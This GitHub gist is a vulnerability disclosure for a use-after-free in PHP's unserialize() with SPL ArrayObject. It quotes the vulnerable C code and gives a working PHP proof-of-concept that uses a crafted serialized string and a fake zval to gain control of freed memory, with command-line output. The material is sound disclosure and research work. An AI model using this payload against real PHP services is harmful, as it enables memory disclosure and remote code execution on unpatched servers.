Skip to content

Instantly share code, notes, and snippets.

@chtg
Last active November 10, 2021 14:06
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save chtg/99ca3a856a6a4e85781b to your computer and use it in GitHub Desktop.
Save chtg/99ca3a856a6a4e85781b to your computer and use it in GitHub Desktop.
Use After Free Vulnerability in unserialize() with SPL ArrayObject

#Use After Free Vulnerability in unserialize() with SPL ArrayObject

Taoguang Chen <@chtg> - Write Date: 2015.7.30 - Release Date: 2015.8.7

A use-after-free vulnerability was discovered in unserialize() with SPL ArrayObject object's deserialization that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions

Affected is PHP 5.6 < 5.6.12
Affected is PHP 5.5 < 5.5.28
Affected is PHP 5.4 < 5.4.44

Credits

This vulnerability was disclosed by Taoguang Chen.

Description

	if (*p!= 'x' || *++p != ':') {
		goto outexcept;
	}
	++p;

	ALLOC_INIT_ZVAL(pflags);
	if (!php_var_unserialize(&pflags, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pflags) != IS_LONG) {
		zval_ptr_dtor(&pflags);
		goto outexcept;
	}

	--p; /* for ';' */
	flags = Z_LVAL_P(pflags);
	zval_ptr_dtor(&pflags);  <===  free memory
	
	...

	/* members */
	if (*p!= 'm' || *++p != ':') {
		goto outexcept;
	}
	++p;

	ALLOC_INIT_ZVAL(pmembers);
	if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pmembers) != IS_ARRAY) {
		zval_ptr_dtor(&pmembers);
		goto outexcept;
	}

	/* copy members */
	if (!intern->std.properties) {
		rebuild_object_properties(&intern->std);
	}
	zend_hash_copy(intern->std.properties, Z_ARRVAL_P(pmembers), (copy_ctor_func_t) zval_add_ref, (void *) NULL, sizeof(zval *));
	zval_ptr_dtor(&pmembers);  <===  free memory

	/* done reading $serialized */

	PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
	return;

The zval_ptr_dtor() leads to &pflags and &pmembers are freed from memory. However the unserialize() will still allow to use R: or r: to set references to that already freed memory. It is possible to use-after-free attack and execute arbitrary code remotely.

Proof of Concept Exploit

The PoC works on standard MacOSX 10.11 installation of PHP 5.4.43.

<?php

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

$inner = 'x:i:1234;a:0:{};m:a:0:{}';
$exploit = 'a:2:{i:0;C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}i:1;R:3;}';

$data = unserialize($exploit);

for ($i = 0; $i < 5; $i++) {
    $v[$i] = $fakezval.$i;
}

var_dump($data);

function ptr2str($ptr)
{
	$out = "";
	for ($i = 0; $i < 8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}

?>

Test the PoC on the command line:

$ php uafpoc.php
array(2) {
  [0]=>
  object(ArrayObject)#1 (1) {
    ["storage":"ArrayObject":private]=>
    array(0) {
    }
  }
  [1]=>
  int(1122334455)  <===  so we can control the memory and create fake ZVAL :)
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment